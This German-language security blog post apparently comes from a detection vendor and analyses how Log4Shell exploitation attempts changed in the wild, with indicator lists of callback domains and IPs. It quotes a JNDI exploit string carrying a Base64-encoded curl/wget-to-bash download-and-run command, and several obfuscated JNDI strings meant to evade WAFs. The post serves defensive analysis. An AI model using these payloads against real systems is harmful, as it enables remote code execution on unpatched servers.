Die JNDI-Exploits waren am vergangenen Wochenende ein wahrer Augenschmaus. Viele Sicherheitsteams auf der ganzen Welt sind auf ihre Posten geeilt und haben viele Stunden damit verbracht, diese Schwachstelle zu identifizieren, zu blockieren, zu patchen und wahrscheinlich auch mit den Infrastrukturteams zu kämpfen, um Änderungen vorzunehmen, damit dieser "0day", der jetzt CVE-2021-44228 heißt, gepatcht werden kann.
Entwicklung von Exploits anhand von Netzwerk-Metadaten
Über das Wochenende und in dieser Woche hat Vectra aktiv die Versuche von Angreifern beobachtet, diese Schwachstelle in freier Wildbahn auszunutzen. Das folgende Diagramm, das von Vectra Recall entnommen wurde, zeigt eine Flut von HTTP-Anfragen, die die Nutzdaten für die Ausnutzung der Schwachstelle enthalten.
Die meisten dieser ursprünglichen Versuche kamen aus dem ToR-Netzwerk und versuchten, Hosts dazu zu bringen, die Domäne zurückzurufen: *bingsearchlib[.]com. Es gibt zwar einige Spekulationen darüber, was diese Domain abwarf, aber es wurden keine Nutzdaten beobachtet, die von hier aus von Vectra abgerufen wurden. Eine private Analyse legt nahe, dass die Nutzlast mit dem Münzschürfen verbunden war, allerdings können auch andere Faktoren das Wasser trüben, wenn es um ToR-Verbindungen geht, worauf wir in Kürze eingehen werden. Vectra hat die verschiedenen Domänen beobachtet, die als Rückruf in den log4shell-Strings verwendet werden (entweder in den User Agent, die URI oder andere Klartextfelder der HTTP-Anfrage gepackt). Eine Reihe von Domänen, die von Vectra beobachtet wurden, sind unten aufgeführt, zusammen mit verwandten Domänen, die von fox-it open source intelligence* genannt wurden.
ds.Rce[.]ee
*bingsearchlib[.]com
*psc4fuel.com
*eg0[.]ru
*awsdns-2[.]org
*flofire[.]de
*nijat[.]space
*dataastatistics[.]com
*pwn[.]af
*log4j-test[.]xyz
Die Verwendung des ursprünglich identifizierten Exploits hat sich weiterentwickelt, wobei potenzielle Angreifer den ausführbaren Teil des Exploits beispielsweise in eine Base64-Zeichenfolge am Ende der JNDI-URL kodieren:
${jndi:ldap://1.2.3.4:12344/Basic/Command/Base64/KGN1cmwgLXMgMS4yLjMuNDo1ODc0LzEuMi4zLjQ6NDQzfHx3Z2V0IC1xIC1PLSAxLjIuMy40OjU4NzQvMS4yLjMuNDo0NDMpfGJhc2g=
Vectra IPs mit dieser Kodierung haben wir in unseren Metadaten mehrfach beobachtet. Diese IP-Adressen werden zusammen mit verwandten IPs, die von fox-it open source intelligence benannt wurden, unten aufgeführt.
45.146.164[.]160
134.209.26[.]39
45.130.229[.]168
45.83.193[.]150
172.111.48[.]30
45.137.21[.]9
205.185.115[.]217
185.162.251[.]208
45.130.229[.]168
79.172.214[.]11
143.198.237[.]19
162.33.177[.]73
133.130.120[.]176
163.172.157[.]143
45.137.21[.]9
34.125.76[.]237
45.33.47[.]240
152.89.239[.]12
45.155.205[.]233
194.151.29[.]154
158.69.204[.]95
47.254.127[.]78
Eine weitere Entwicklung, die wir in freier Wildbahn beobachtet haben, ist eine zweite Ebene der Verschleierung, die von Bedrohungsakteuren eingesetzt wird. Dabei handelt es sich um eine weitere Funktion der JNDI-Engine, die es ermöglicht, gesendete Zeichenketten in ihr ursprüngliches Format zu entschlüsseln und dann die Verbindung zum LDAP-/Verzeichnisdienst herzustellen. Diese wurden wie folgt beobachtet:
${jndi:${lower:l}${lower:d}a${lower:p}://world80
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//
${jndi:dns://
Während wir diese Entwicklung am Ende unseres letzten Blogs vom 10. Dezember feststellten, ist die Nutzung seitdem tatsächlich zurückgegangen. Aber warum ist das so?
Leider treiben die Verteidiger die Entwicklung von Exploits voran
Während die Verteidiger versuchen, sich gegen neue Angriffe zu schützen, versuchen die Angreifer, sich weiterzuentwickeln. Der Fall der zweiten Stufe kann speziell mit diesem Repository auf GitHub und diesem Tweet in Verbindung gebracht werden:
Das Tool ist ein POC-Exploit für die Schwachstelle, und während es mit Begriffen wie "Starten eines Webservers, der das Herunterladen der kompilierten Binärdatei ermöglicht" beginnt, geht es sehr schnell zu Methoden zur Umgehung von WAFs über. Hier kommen die primären Methoden der Verschleierung zum Tragen. Man kann argumentieren, dass die Verteidiger wissen müssen, wie sie ihre eigenen Tools umgehen können, um sich gegen diese Methoden zu verteidigen. Durch die Analyse der angesprochenen Verschleierungsarten können die Teams bessere Suchmuster und Werkzeuge entwickeln, mit denen sie einige dieser neuartigen Versuche erkennen können (siehe oben). Es ist jedoch unbestreitbar, dass Angreifer ihre Taktik auf der Grundlage von Sicherheitsforschern ändern, und man kann nur bis zu einem gewissen Grad spezifische Signaturen für Angriffe erstellen.
Um ein altes Beispiel zu nennen: Empire war ein Tool, das als Pentest-Framework auf der Grundlage von PowerShell entwickelt wurde. Es wurde jedoch sehr schnell von böswilligen Akteuren verwendet, um ihre eigenen Implantate zu kompromittieren und zu installieren, oft mit Modifikationen, um ihre Schöpfer zu umgehen. Die in Empire entwickelten Techniken werden auch heute noch bei IcedID- und Emotet-Kompromittierungen** eingesetzt.
Log4Shell ist keine Ausnahme von diesem Phänomen, erst kürzlich twitterte der Forscher Márcio Almeida das Folgende:
Damit ist einer der entschärfenden Faktoren aus dem ursprünglichen LunaSec-Blog über die Log4Shell-Schwachstelle hinfällig:
Sysadmins, SOC-Analysten, Blue Teams auf der ganzen Welt - ich höre das kollektive Stöhnen. Während einer aktiven Phase eines Exploits, die wir in freier Wildbahn beobachten, kann ein abschwächender Faktor den Unterschied zwischen der Zeit, die Sie für ein Update benötigen, und einer vollständigen Rootkit-Installation bedeuten, wenn jemand diesen abschwächenden Faktor umgeht.
Forschung wie diese ist wertvoll und wird die Diskussion und die Sicherheitspraktiken insgesamt fördern, aber während eines aktiven globalen Ereignisses kann sie auch Öl ins Feuer gießen. Ebenso könnte das Scannen nach Schwachstellen während des besagten globalen Ereignisses als kontraproduktiv angesehen werden.
Anreichern des Wassers oder nur die Sicht auf die Haie erschweren?
Einer der am häufigsten beobachteten Angriffsversuche ging nicht von böswilligen Akteuren oder Einzelpersonen aus, die die Sicherheitslücke getestet haben, sondern von Sicherheitsunternehmen, die mehrere Hosts im Internet gescannt haben, um verwundbare Ziele zu identifizieren.
Vectra hat mindestens zwei Sicherheitsunternehmen, eines in den USA und ein weiteres in der DACH-Region, dabei beobachtet, wie sie Hosts scannen, mehrere Verschleierungstechniken anwenden und Rückrufe auf ihre eigenen Domains vornehmen. Während diese Aktivität als egalitär und als Möglichkeit, den Menschen zu helfen, ihre eigenen verwundbaren Systeme zu identifizieren, angesehen werden kann, könnte dahinter auch die Absicht stehen, das Geschäft für ihre eigenen Dienste anzukurbeln. So oder so waren viele der anfänglichen Scanversuche mit eigenen Scanversuchen der Unternehmen gefüllt, was die Erkennung von echtem bösartigem Verhalten erheblich erschwert.
Schlussfolgerungen
Log4shell ist nicht der erste Exploit, der die Welt erschüttert, und ich kann mit Sicherheit sagen, dass es nicht der letzte sein wird. Die Angreifer werden sich weiter entwickeln und die Verteidiger an ihre Grenzen bringen, um sie zu stoppen. Log4shell ist wieder einmal ein Weckruf für die gesamte Branche, dass Sicherheitsprobleme nicht verschwinden werden und egal wie viel wir in die Prävention investieren - Angreifer finden einen Weg.
Möchten Sie sich über frühere Entwicklungen informieren? Sie können den ersten Beitrag zu Log4Shell lesen, hier.
--
*https://blog.fox-it.com/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/
**https://blogs.vmware.com/security/2018/06/carbon-black-tau-threat-analysis-emotet-banking-trojan-leverages-ms-office-word-docs-powershell-deliver-malware.html